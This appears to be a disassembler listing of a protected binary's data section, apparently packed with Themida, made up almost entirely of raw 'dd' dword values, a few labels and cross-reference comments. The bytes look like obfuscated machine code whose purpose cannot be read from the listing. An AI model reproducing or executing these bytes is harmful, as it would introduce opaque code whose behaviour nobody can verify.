dd 0B853h, 9D8D0000h, 5E4B04Dh, 585BD3FFh, 5EDBD89h, 0BD8B05E2h
dd 5E21DADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 5CC35040h, 929218DFh, 2189958Bh, 0B70F05E2h, 8BC08BC9h
dd 0E209E995h, 33C08B05h, 0E216B5BDh, 0A9BD8305h, 5E21Eh
dd 0BD830975h, 5E21805h, 50137400h, 0B8C08B53h, 0
dd 0B0CE9D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50117400h
dd 0B853h, 9D8D0000h, 5E4B01Bh, 585BD3FFh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 5AC35646h, 0EACC2BFh
dd 87AAF611h, 9DBD8B50h, 5A05E21Ch, 13E9C08Bh, 72000000h
dd 0B1A3EC54h, 5F6BBCF7h, 68C36983h, 5B165B57h, 0C08B28C7h
dd 9E9h, 7F712200h, 535E4FBAh, 0BD83F388h, 5E21EA9h, 83097500h
dd 0E21805BDh, 13740005h, 0C08B5350h, 0B8h, 359D8D00h
dd 0FF05E4B1h, 83585BD3h, 0E21805BDh, 11740005h, 0B85350h
dd 8D000000h, 0E4B0349Dh, 5BD3FF05h, 55006A58h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4DE17498h
dd 735F9B77h, 0C08B1767h, 6E857h, 5E9F0000h, 9E573523h
dd 2435B509h, 5F5F05E2h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 189567C3h, 0A309E648h
dd 0A9BD83BCh, 5E21Eh, 0BD830975h, 5E21805h, 50137400h
dd 0B8C08B53h, 0
dd 0B0679D8Dh, 0D3FF05E4h, 8952585Bh, 0E21B818Dh, 0B9665F05h
dd 0C08B5691h, 35BD8Bh, 0C08B05E2h, 108C0Fh, 0BE90000h
dd 97000000h, 55BA6D6Eh, 0D3FCE655h, 0BD839C57h, 5E21EA9h
dd 83097500h, 0E21805BDh, 19740005h, 0C08B5350h, 7D0B8h
dd 5D858900h, 8D05E231h, 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h
dd 5E218h, 53501774h, 7D0B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh
dd 5BD3FF05h, 0AFC28058h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0DC35242h, 0CE8B66AAh, 0BD8BC08Bh, 5E21F15h
dd 6B0DBA66h, 0A4985C6h, 515305E2h, 8AF78166h, 90685F40h
dd 6699395Fh, 0FFAF3FBFh, 0E2262DB5h, 0E8E0F05h, 60000000h
dd 1F919533h, 0BD2905E2h, 5E22659h, 0ED858D61h, 6A05E239h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h
dd 45000000h, 8305C355h, 720FA68Fh, 6AD0FFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0E0493AC3h
dd 89DFEEDBh, 0E20B1585h, 2985BA05h, 85C61A21h, 5E20A49h
dd 51006A57h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0D5E44906h, 0FD25F7E0h, 4520668h, 0B1858990h
dd 0FF05E20Bh, 0E2262DB5h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0D22C47EDh
dd 0E321CF85h, 21BD89ADh, 8B05E210h, 0ED858DFAh, 8B05E239h
dd 0E20D0595h, 29D0FF05h, 0E2199D85h, 9D858905h, 905E218h
dd 0E2220D8Dh, 4985C605h, 4305E20Ah, 89D98166h, 70286865h
dd 0EA8ABC90h, 262DB5FFh, 0BF0F05E2h, 0ED858DD3h, 6A05E239h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 1FFFC353h, 6F20175Fh, 64AE3769h, 29958D23h
dd 0D0FF05E2h, 4EC7C181h, 85895139h, 5E216C5h, 0C880Fh
dd 830F0000h, 6, 2281B589h, 0C6FC05E2h, 0E20A4985h, 6A4C05h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 7AC67CC3h, 65442799h, 8B60B3F5h, 0E200ED95h, 0DE8B6605h
dd 0FE961h, 0BBE0000h, 0E3F14CCh, 1F4D19E2h, 116E939Dh
dd 1CE96856h, 6AD9DAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0AA538C3h, 0EE97A11h, 81000000h
dd 33B47A03h, 60C3A14Dh, 0B52EB7C2h, 2DB5FFC6h, 0B505E226h
dd 0ED858DFBh, 0F05E239h, 686h, 15958900h, 0FF05E21Fh
dd 8D8B51D0h, 5E205EDh, 0F985895Ah, 6A05E216h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 36CCC356h, 21618D09h, 85C605E2h, 5E20A49h, 1830F46h
dd 0F9000000h, 0DE061468h, 852B60BAh, 5E204E9h, 149D9D29h
dd 0FF6105E2h, 0E2262DB5h, 38C0F05h, 66000000h, 858DD08Bh
dd 5E239EDh, 2880Fh, 0FE8B0000h, 830FD0FFh, 1, 5E9F5h
dd 944F0000h, 89041542h, 0E2108D85h, 0EA816605h, 85C6EC53h
dd 5E20A49h, 11E947h, 0ED420000h, 35B7EF97h, 0F05B2953h
dd 441EDF32h, 6834A7E2h, 8A0FB5E2h, 0D058D89h, 0B5FF05E2h
dd 5E2262Dh, 8DCAB70Fh, 0E239ED85h, 0FD0FF05h, 684h, 69853100h
dd 8905E22Ah, 0E230D585h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 82F49272h
dd 0C630309Ch, 0E20A4985h, 0CE94705h, 0B7000000h, 14708F7Dh
dd 8010D8F3h, 1D21EC5h, 0E223B19Dh, 0B5F36805h, 890F83D0h
dd 0
dd 262DB5FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0A91A63C3h, 6810Fh, 958B0000h, 5E21495h
dd 24258D89h, 858D05E2h, 5E239EDh, 0C81BD8Bh, 0D0FF05E2h
dd 89FB8B66h, 0E2112D85h, 0E9BD8905h, 0C605E204h, 0E20A4985h
dd 6A7705h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0AB5CE4C3h, 1DD19523h, 5E905E2h, 14000000h
dd 77FAAFD3h, 0FADF8166h, 0A8A368B5h, 6AF397h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 87E4D3C3h, 0FFB33D82h, 0E2150DB5h, 258D8B05h, 8D05E21Dh
dd 0E239ED85h, 50006A05h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 4266007h, 0FFEA5113h
dd 0FD0FFCAh, 8589FBB7h, 5E22C29h, 14AFD781h, 85C63059h
dd 5E20A49h, 0EDBD8B47h, 6805E216h, 8728FAF6h, 10E9h, 0F39DBF00h
dd 8C7609F3h, 2F6C0AEEh, 21D045ACh, 2DB5FF1Eh, 6A05E226h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 2397C352h, 84BFA43Ch, 8D7CFF2Ah, 0E239ED85h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 67261554h, 958913D0h, 5E23025h, 8960D0FFh
dd 0E201958Dh, 0DE8B6605h, 41858961h, 6A05E20Ch, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 9BD1C352h, 3F5F7721h, 0C63FDAA3h, 0E20A4985h, 0EE804305h
dd 7E934h, 46580000h, 0E20C1C1Fh, 6EFC685Fh, 0BD8BBC8Eh
dd 5E21115h, 262DB5FFh, 958B05E2h, 5E216D9h, 39ED858Dh
dd 0BD8B05E2h, 5E200F1h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 3ACEE1C3h, 6FCE807Ah
dd 0C7DDDF81h, 85896E2Fh, 5E22B51h, 160D9509h, 85C605E2h
dd 5E20A49h, 0C58D8945h, 6805E21Bh, 8E726969h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 3CC35040h, 0FFCD2D42h
dd 0E2262DB5h, 0E9958B05h, 8D05E219h, 0E239ED85h, 0E5958B05h
dd 0FF05E222h, 0D8B966D0h, 5858941h, 905E204h, 0E22AF59Dh
dd 0CD958B05h, 0C605E221h, 0E20A4985h, 8D8B4405h, 5E2214Dh
dd 0F2EC6468h, 61950BB8h, 0FF05E217h, 0E2262DB5h, 31858905h
dd 8D05E225h, 0E239ED85h, 0C9806005h, 61C68A33h, 0BA60D0FFh
dd 28CE72ACh, 614FE280h, 23E58589h, 0CB8B05E2h, 0A4985C6h
dd 0F54305E2h, 764AA768h, 57006AC0h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9533FCDCh
dd 5E21F91h, 262DB5FFh, 0F6005E2h, 682h, 0A5858B00h, 6105E22Ah
dd 39ED858Dh, 96005E2h, 0E210E18Dh, 1BD2905h, 6105E211h
dd 0B529D0FFh, 5E21385h, 0A598589h, 6A05E2h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 80AEF1C3h
dd 0E5072BBDh, 840F0005h, 0F5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 98C35343h, 0E695FDA3h, 8166C8BCh
dd 8DB617EFh, 0E5070D85h, 51006A05h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F60C553h
dd 810FF1B7h, 6, 2231C081h, 0F613571h, 68Fh, 0C9BD8B00h
dd 5005E222h, 0EE9h, 38527F00h, 5A81FE9Bh, 795C72D6h, 6A3876DDh
dd 6AF501h, 0CE953h, 7A940000h, 6D60143Fh, 0B94136CCh
dd 6A5AC3A0h, 0A1BD8900h, 0FF05E20Eh, 0E216C595h, 0FD8D8B05h
dd 8905E215h, 0E201A985h, 0DE805h, 0AA70000h, 95F6B21Bh
dd 0CFBC3BA1h, 804A6DFEh, 6A593CD9h, 31BD8BFFh, 105E22Bh
dd 0E2064DBDh, 0A9B5FF05h, 0F05E201h, 68Ah, 88C78100h
dd 0FF1CA9EAh, 0E2189D95h, 68A0F05h, 0B000000h, 0E2179595h
dd 81C08B05h, 986DEBC9h, 23F7810Eh, 833E68A9h, 0E21EA9BDh
dd 9750005h, 1805BD83h, 740005E2h, 8B535019h, 7D1B8C0h
dd 85890000h, 5E2315Dh, 0B2FA9D8Dh, 0D3FF05E4h, 0BD83585Bh
dd 5E21805h, 50177400h, 7D1B853h, 85890000h, 5E2315Dh
dd 0AFE99D8Dh, 0D3FF05E4h, 0B529585Bh, 5E221C1h, 66D1B70Fh
dd 0C08BF88Bh, 6E9h, 0F479A500h, 0C6008B23h, 0E20A4985h
dd 29F94705h, 0E2243185h, 0F7C16805h, 6A93C8h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 8D89E1C3h, 5E2333Dh, 262DB5FFh, 8D8B05E2h, 5E223C1h
dd 39ED858Dh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 1D9115C3h, 0FF290E14h, 38C0FD0h
dd 53000000h, 8B5059F9h, 4E858DF8h, 6605E50Bh, 0C7F220BFh
dd 9400h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 895849DBh, 0E232899Dh, 0F98D2905h
dd 8D05E221h, 0E50B4EB5h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 1441EB00h
dd 0B9D0FF56h, 71068FF8h, 0B4E858Dh, 0C78105E5h, 0B7F729Fh
dd 6047883h, 14850Fh, 0F88B0000h, 0BE285C7h, 105E5h, 0B70F0000h
dd 0D98166F8h, 0BD830F7Fh, 5E216F1h, 0B4850F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0DEAEC357h, 14E8h, 0AFF11000h, 8B22A6C8h
dd 66013441h, 0DF7C53B2h, 24F2F978h, 5AD18B32h, 1D7D8D09h
dd 0BD8305E2h, 5E50BE2h, 68850F00h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 49EAC350h, 6B1BA9B0h, 0EF81030Ch, 211433EDh, 0E89BD83h
dd 0F0005E2h, 3284h, 0D985C700h, 5E215h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 99CFC356h, 5830Fh, 81660000h, 6613A9D2h, 6ADB8Ch, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 869E6C3h, 7C0449E6h, 0F04C3F6h, 63584h, 11C98100h, 29593C34h
dd 0E20E8185h, 0B985C705h, 5E200h, 57000000h, 1F05958Bh
dd 805A05E2h, 0E50738BDh, 850F0005h, 1, 4985C6F9h, 4705E20Ah
dd 6850FFCh, 81000000h, 74EFD5F1h, 5B866805h, 890FE3E4h
dd 6, 199D958Bh, 0B5FF05E2h, 5E2262Dh, 3C1BD8Bh, 858D05E2h
dd 5E239EDh, 0FF33C980h, 4880FD0h, 66000000h, 680C74BAh
dd 104h, 3850Fh, 0BF0F0000h, 0FD9D8DF9h, 8B05E21Fh, 0E2046D95h
dd 0CCEE8005h, 0F526053h, 665EFBBFh, 0FF61CF8Bh, 57006AD0h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0EB0F955Ch, 60CD61D6h, 0C1B52B60h, 8105E211h, 0AEDC20E2h
dd 0BD8B614Fh, 5E2048Dh, 0F1805061h, 858D5F4Dh, 5E21FFDh
dd 1AA18501h, 315005E2h, 0E20A2D95h, 0EA858D05h, 0BF05E506h
dd 68C53890h, 5DB58950h, 8D05E209h, 0E4FDBD85h, 0C2816605h
dd 6A50E8A3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 8FA7C351h, 0C669EC9Ah, 44AFFD0Dh
dd 1E558D8Bh, 95FF05E2h, 5E22C29h, 38539BFh, 0CC4835Ah
dd 4DE18166h, 68006AE1h, 80h
dd 6A036Ah, 68006Ah, 8D800000h, 0E4FDBD85h, 95FF5005h
dd 5E22B51h, 6CD8589h, 85C605E5h, 5E20A49h, 5E876847h
dd 0B5FFC7B1h, 5E2262Dh, 39ED858Dh, 0D0FF05E2h, 0B5FF006Ah
dd 5E506CDh, 8B56D0FFh, 0E217A18Dh, 8D895A05h, 5E21B59h
dd 37D03Dh, 64830F00h, 89000000h, 0E21B4595h, 0CDB5FF05h
dd 6A05E506h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 5DC5C350h, 0BD295619h, 5E20759h
dd 0A5995FFh, 858905E2h, 5E213B5h, 1DED9531h, 15E905E2h
dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0FF5BC353h, 0E506CDB5h, 0FD9D0905h
dd 0FF05E22Ch, 0E20A5995h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 217341B0h
dd 0BA5077DFh, 1C77CB1Fh, 7E859h, 3D410000h, 0BD027DB0h
dd 0E78166C5h, 6A5F54CFh, 1DB58900h, 6A05E22Dh, 0B98D8B00h
dd 6A05E205h, 3840F00h, 80000000h, 6AB4EEh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 75C35040h, 8B4D4D87h
dd 0F7F6C7Ah, 0CE9006Ah, 1C000000h, 84C67EE4h, 0D151686Dh
dd 6AC1C92Ah, 0C7E78100h, 0BF05A6E3h, 549A70F2h, 6D1858Dh
dd 958B05E5h, 5E21121h, 4D18529h, 0E95005E2h, 0Ch, 78CD3178h
dd 6C8C5C77h, 4CE23C9h, 2B5195FFh, 0EE905E2h, 0CD000000h
dd 0DCCDEDB0h, 817EF96Ch, 0BD605DAh, 0FFF88324h, 1E9850Fh
dd 95230000h, 5E21A85h, 0BE4D858Dh, 5E905E4h, 82000000h
dd 0A5B0F550h, 0BF0FD0FFh, 81006AD3h, 943B84F7h, 6A006A63h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 0F51C352h, 6AC9BFh, 3840Fh, 8B660000h, 41BD0BCFh
dd 6A05E205h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 798D29F4h, 6A05E206h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 8BB95A52h, 0EE9h, 457F8200h, 2C5F2E41h, 7F61D8CAh, 6A9E772Ah
dd 14E800h, 5F290000h, 3347BB1h, 5910E73Fh, 0C53C2A4h
dd 0E7B61DEBh, 8E0FB651h, 2, 8D5FD08Bh, 0E506D185h, 85096005h
dd 5E21AA1h, 68D0Fh, 858B0000h, 5E205D5h, 6A5061h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 140424h
dword_51F9EC dd 52420000h, 8D31C5C3h, 5E22215h, 11E8h, 1ACE0100h, 6C5A7736h
; DATA XREF: Themida_:004EF6B8o
dd 552D1A5Fh, 0A7F371EEh, 81663B3Fh, 5AEC64DFh, 7E9h, 0C1F4A700h
dd 0EFCCD418h, 2B5195FFh, 8DB105E2h, 117D8D8Bh, 0F88305E2h
dd 9C850FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0C5B2C355h, 0D9B58DC8h
dd 0F05E500h, 48Ah, 8ABA6600h, 0CB153E0h, 0E6858D59h, 6A05E4ACh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0BC57C350h, 0E369634Bh, 0D18B41F5h, 0FFC0F680h
dd 3CB966D0h, 6AF89Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 34C35141h, 46661D5Bh, 0B99D7D0Dh, 0FC4FB6D4h
dd 40595FFh, 816605E2h, 8903F9E9h, 0E506CD85h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 3FC0F946h, 66890D1Ah, 2D33DA81h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E4DF58C3h
dd 0E1163113h, 8D5437DFh, 0E506C585h, 10E905h, 7E760000h
dd 0D7EF3760h, 0A87CEEE6h, 626D8621h, 6A505DE7h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 0DB0FC355h, 9ADCB35Fh, 4B98ECBBh, 4EC18166h, 8A046A8Fh
dd 4D858DF5h, 8105E223h, 7DEC35D7h, 0BD8B5041h, 5E22C99h
dd 958B006Ah, 5E23039h, 6AD08Bh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 0E2C35141h, 6A1C3AE0h, 50006A01h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 0CDB5FF24h, 0FF05E506h, 0E223E595h, 57006A05h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 5B5DFFF3h, 51A93604h, 0F1812BA0h, 7AF2101Ch, 0C800Fh
dd 8F0F0000h, 6, 9998531h, 7BE905E2h, 6600001Bh, 0C08BFB8Bh
dd 2C898589h, 0BD8305E2h, 5E21EA9h, 83097500h, 0E21805BDh
dd 19740005h, 0C08B5350h, 7D2B8h, 5D858900h, 8D05E231h
dd 0E4B2FA9Dh, 5BD3FF05h, 5BD8358h, 5E218h, 53501774h
dd 7D2B8h, 5D858900h, 8D05E231h, 0E4AFE99Dh, 5BD3FF05h
dd 21BD8B58h, 0F05E218h, 0C08BD6B7h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 2FC35242h, 35496959h, 26C94935h
dd 0D28166E3h, 85C71C7Ah, 5E200B9h, 1, 0B868CE8Bh, 0FFCEE4E7h
dd 0E21189B5h, 0ED858D05h, 0FF05E239h, 718589D0h, 6805E223h
dd 0C005DBD4h, 1189B5FFh, 858D05E2h, 5E239EDh, 8589D0FFh
dd 5E20469h, 0FB76858Dh, 0FF5005E4h, 0E2262DB5h, 0D595FF05h
dd 0B05E230h, 8B0B74C0h, 29858DD8h, 5005E50Bh, 858DD3FFh
dd 5E50B29h, 9388366h, 85C70A75h, 5E22655h, 1, 0C4195FFh
dd 0FF2505E2h, 83000000h, 0A7305F8h, 17B585C7h, 105E2h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 10303CC3h, 56C01A68h, 12E9C9h, 0C7450000h
dd 7F118962h, 36D3CD1Ah, 11A9F6FEh, 18D2711Fh, 0BD8006B5h
dd 5E50738h, 0B850F00h, 0E9000000h, 1A12h, 31018D8Bh, 0BD8305E2h
dd 5E22655h, 0C7850F00h, 60000000h, 9589EBB0h, 5E219A5h
dd 2858D61h, 6605E507h, 59EBC281h, 10E950h, 0D04B0000h
dd 0C0A895F7h, 31AEFA54h, 88ADD52Bh, 16A851Dh, 6AEF8Ah
dd 22E28166h, 0E9006A3Ch, 13h, 2F0EE2D5h, 919141DEh, 9C404241h
dd 1F73F78Eh, 0FF03FAA3h, 0E216C595h, 8B0F05h, 89000000h
dd 0E5072C85h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 1161724Dh, 0CBE9E987h
dd 1BD896Fh, 0E905E222h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h
dd 0ED431B41h, 0F05AF32Eh, 0BF0FFF6Ah, 2CB5FFFEh, 8B05E507h
dd 0E221418Dh, 9D95FF05h, 6605E218h, 2075F281h, 18958589h
dd 858D05E2h, 5E4FB3Dh, 59958953h, 5A05E200h, 8FC68050h
dd 16F995FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 0A2184C3h, 0BFD9175h, 85892E85h
dd 5E4FBC7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 8EC35040h, 1089BD29h, 8AB505E2h, 0FB4A858Dh, 850905E4h
dd 5E20991h, 65858950h, 6605E22Dh, 0B5FFFA8Bh, 5E4FBC7h
dd 1FCD9D89h, 95FF05E2h, 5E230D5h, 5E8h, 6A108200h, 0BD0B9CF9h
dd 5E217C5h, 2185895Ah, 0F05E214h, 0BD89CBBFh, 5E2138Dh
dd 0FBB8858Dh, 816605E4h, 29ACD4F1h, 0E22D61BDh, 0BA665005h
dd 0B5FFDFDDh, 5E4FBC7h, 0D9958B57h, 5905E208h, 30D595FFh
dd 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0C300C7C3h, 775B2631h, 0B3B966E9h, 0DB85891Ch
dd 2905E4FBh, 0E20D7D9Dh, 319D8905h, 8D05E216h, 0E4FB9785h
dd 81BD2B05h, 5005E20Fh, 155DBD8Bh, 0BD8B05E2h, 5E215DDh
dd 0FBC7B5FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 13D937C3h, 2509BD8Bh, 8F0F05E2h
dd 2, 95FFBCB1h, 5E230D5h, 89F9BF0Fh, 0E4FBD385h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 2A770629h, 1A1012BFh, 10E8D8h, 8A330000h, 733B9E4Eh
dd 0AD88DD83h, 0FCF5C43Dh, 958BDA48h, 5E21505h, 0D18D8B59h
dd 8D05E20Ch, 0E4FB8A85h, 0DE95005h, 0B5000000h, 1B1AE5B0h
dd 0E933DA2h, 2FD394EEh, 0FBC7B5FFh, 816605E4h, 0F8069DE7h
dd 30D595FFh, 858905E2h, 5E216BDh, 29A18D8Bh
db 0E2h
byte_520045 db 5, 89h, 85h ; DATA XREF: ___:0042CC88o
; ___:0042CCA0o
dd 5E4FBD7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0F9C35343h, 5031E521h, 330FED8Ah, 14E957BEh, 0DF000000h
dd 42FD3E65h, 0DB6E7DA4h, 0D02AEE6Ch, 0C18881DCh, 59856AA4h
dd 197D8D8Bh, 858D05E2h, 5E4FBA5h, 13B26060h, 8E0F61F5h
dd 6, 8A0Fh, 50610000h, 38B0Fh, 0BF0F0000h, 0C7B5FFCFh
dd 6A05E4FBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0D8A9C357h, 68F7CD76h, 0BD8B1ABBh
dd 5E208A5h, 30D595FFh, 858905E2h, 5E203C9h, 0FB59858Dh
dd 0BD8B05E4h, 5E20109h, 55BD0B50h, 0FF05E21Ch, 0E4FBC7B5h
dd 258D8B05h, 0FF05E224h, 0E230D595h, 11E905h, 0B93B0000h
dd 7B0123CAh, 0A905AFE4h, 0ABA39E46h, 892E2DFDh, 0E4FBCB85h
dd 3114B905h, 0F2807EC5h, 68858D27h, 8105E4FBh, 4F4DADDAh
dd 85895075h, 5E21089h, 0FBC7B5FFh, 6A05E4h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0CC3149C3h
dd 891B335Ah, 0E2116995h, 0D595FF05h, 0F05E230h, 8589CEB7h
dd 5E4FBCFh, 2D2DB509h, 46805E2h, 8B000001h, 0E21129BDh
dd 5F858D05h, 0F505E4FCh, 1850F50h, 0F9000000h, 0FD63858Dh
dd 958905E4h, 5E21481h, 52006A50h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 3C2F452h, 4E67242Dh, 953134B1h
dd 5E22CD9h, 95C28166h, 2D95FFAAh, 8A05E211h, 0FC085ECh
dd 685h, 0FD952900h, 8005E218h, 0E50738BDh, 850F0005h
dd 2Dh, 0B65958Bh, 83E905E2h, 66000015h, 5F28D981h, 0DE860h
dd 89AF0000h, 0DE044324h, 838B1488h, 8BFCE1F5h, 8D8B58DFh
dd 5E20141h, 55BD8361h, 5E226h, 34850Fh, 9D310000h, 5E20BEDh
dd 0BE2BD83h, 0F0005E5h, 5E84h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0F3048656h
dd 858D7B48h, 5E4FBFCh, 0F2D28166h, 14E980h, 0AD4F0000h
dd 0AECF6CAAh, 92FEBAACh, 51CD8048h, 0CC0C065Ch, 0F7E9C127h
dd 31000014h, 0E21C1DBDh, 15E905h, 958B0000h, 5E205E5h
dd 8DC88B66h, 0E4FBE785h, 79958B05h, 5005E21Bh, 14E8h
dd 61229400h, 0D040E661h, 0EC3C2B12h, 0E1B8462Bh, 0DD571AA9h
dd 0E58D89B4h, 5A05E200h, 0FC5F858Dh, 0BF5005E4h, 15D2E16h
dd 42BF505Fh, 8359EC8Ah, 0E22655BDh, 840F0005h, 50h, 88A0BA66h
dd 0FD85858Dh, 8E905E4h, 0BD000000h, 7B61FCDCh, 53F4D604h
dd 2890Fh, 0C88B0000h, 51E95Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 270982C3h
dd 6D8D03B4h, 6605E230h, 0F2CFD181h, 0FD6E858Dh, 6A05E4h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0CFBB5BC3h, 50D08B66h, 1CD9958Bh, 858D05E2h, 5E4FDBDh
dd 29A98589h, 0BD0105E2h, 5E22489h, 0FBBF0F50h, 2C2995FFh
dd 0C88B05E2h, 3125958Bh, 0C48305E2h, 598D0310h, 0E905E21Bh
dd 9, 4A2CDF90h, 78EAA00Ah, 0E9C08B5Ah, 7, 7A608BC3h, 52849073h
dd 8359D18Ah, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
dd 8B535019h, 7D3B8C0h, 85890000h, 5E2315Dh, 0B2FA9D8Dh
dd 0D3FF05E4h, 0BD83585Bh, 5E21805h, 50177400h, 7D3B853h
dd 85890000h, 5E2315Dh, 0AFE99D8Dh, 0D3FF05E4h, 6A585Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 8B1BF4C3h, 81C08BD6h, 0E4FBE7BDh, 65726F05h, 7E840F61h
dd 8D000000h, 0E4FC5F85h, 858D5005h, 5E4FD9Ch, 0BD858D50h
dd 5005E4FDh, 2C2995FFh, 0C48305E2h, 4985C60Ch, 4405E20Ah
dd 0A3184F68h, 2DB5FF96h, 8D05E226h, 0E239ED85h, 8BD0FF05h
dd 0BD858DD8h, 5005E4FDh, 858DD3FFh, 5E4FBE7h, 5F858D50h
dd 5005E4FCh, 2655BD83h, 740005E2h, 85858D08h, 0EB05E4FDh
dd 6E858D06h, 5005E4FDh, 0FDBD858Dh, 0FF5005E4h, 0E22C2995h
dd 10C48305h, 8B7BF280h, 4195FFFEh, 6605E20Ch, 0FF25FE8Bh
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 0CE71C352h, 6A609B8Ah, 0D78B6469h
dd 83CE8B66h, 830F05F8h, 6Bh, 21C1958Bh, 85C705E2h, 5E217B5h
dd 1, 4359589h, 858D05E2h, 5E4FC1Bh, 0E851006Ah, 3, 59C35920h
